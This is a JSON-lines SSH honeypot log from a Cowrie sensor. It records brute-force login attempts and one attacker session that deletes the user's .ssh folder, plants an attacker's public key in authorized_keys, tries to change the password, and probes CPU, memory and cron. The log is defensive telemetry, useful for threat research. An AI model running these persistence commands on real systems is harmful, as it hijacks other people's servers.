{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:44.375142Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:44.378654Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:44.383158Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:44.662038Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:45.254799Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:45.258317Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:45.536476Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:45.540483Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":40670,"dst_ip":"159.203.135.109","dst_port":22,"session":"0920ae333264","protocol":"ssh","message":"New connection: 36.92.140.209:40670 (159.203.135.109:22) [session: 0920ae333264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:45.817885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:45.823108Z","src_ip":"36.92.140.209","session":"0920ae333264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:46.108683Z","src_ip":"36.92.140.209","session":"0920ae333264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":49700,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7121a7e04a","protocol":"ssh","message":"New connection: 187.16.96.250:49700 (159.203.135.109:22) [session: 8a7121a7e04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:46.295872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:46.301963Z","src_ip":"187.16.96.250","session":"8a7121a7e04a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:46.418505Z","src_ip":"187.16.96.250","session":"8a7121a7e04a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"password","message":"login attempt [test3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:46.918336Z","src_ip":"187.16.96.250","session":"8a7121a7e04a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:47.278455Z","src_ip":"36.92.140.209","session":"0920ae333264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:48.038476Z","src_ip":"187.16.96.250","session":"8a7121a7e04a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:48.564512Z","src_ip":"36.92.140.209","session":"0920ae333264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":40676,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffef3df7c310","protocol":"ssh","message":"New connection: 36.92.140.209:40676 (159.203.135.109:22) [session: ffef3df7c310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:48.844258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:48.849913Z","src_ip":"36.92.140.209","session":"ffef3df7c310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:49.125772Z","src_ip":"36.92.140.209","session":"ffef3df7c310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:50.259958Z","src_ip":"36.92.140.209","session":"ffef3df7c310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:51.537312Z","src_ip":"36.92.140.209","session":"ffef3df7c310","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:51.859975Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:51.863327Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:52.140466Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:52.724708Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@123\\nwOJMh3mTUoHC\\nwOJMh3mTUoHC\"|passwd|bash","message":"CMD: echo -e \"admin@123\\nwOJMh3mTUoHC\\nwOJMh3mTUoHC\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:52.728744Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:52.733079Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:52.737153Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/efd4ac1474503af2f0e0a7344f100c0fe1219da9c0ae57c58a44012a1b5a9ca0","size":32,"shasum":"efd4ac1474503af2f0e0a7344f100c0fe1219da9c0ae57c58a44012a1b5a9ca0","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/efd4ac1474503af2f0e0a7344f100c0fe1219da9c0ae57c58a44012a1b5a9ca0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:53.015314Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:53.598474Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@123\\nwOJMh3mTUoHC\\nwOJMh3mTUoHC\\n\"|passwd","message":"CMD: echo \"admin@123\\nwOJMh3mTUoHC\\nwOJMh3mTUoHC\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:53.601575Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0ef9d06948e6f2631cc8873019f464c6159f17ee17e9fa1bcb0bae8d05216694","size":25,"shasum":"0ef9d06948e6f2631cc8873019f464c6159f17ee17e9fa1bcb0bae8d05216694","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/0ef9d06948e6f2631cc8873019f464c6159f17ee17e9fa1bcb0bae8d05216694 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:53.876626Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:54.505465Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:54.509034Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:54.785557Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:55.388965Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:55.392245Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:55.668582Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:56.255869Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:56.259156Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:56.262437Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:56.539403Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:57.129779Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:57.132371Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:57.408408Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:57.993114Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:57.996968Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:58.276541Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:58.867176Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:58.870644Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:59.146316Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:59.719960Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:59.722257Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
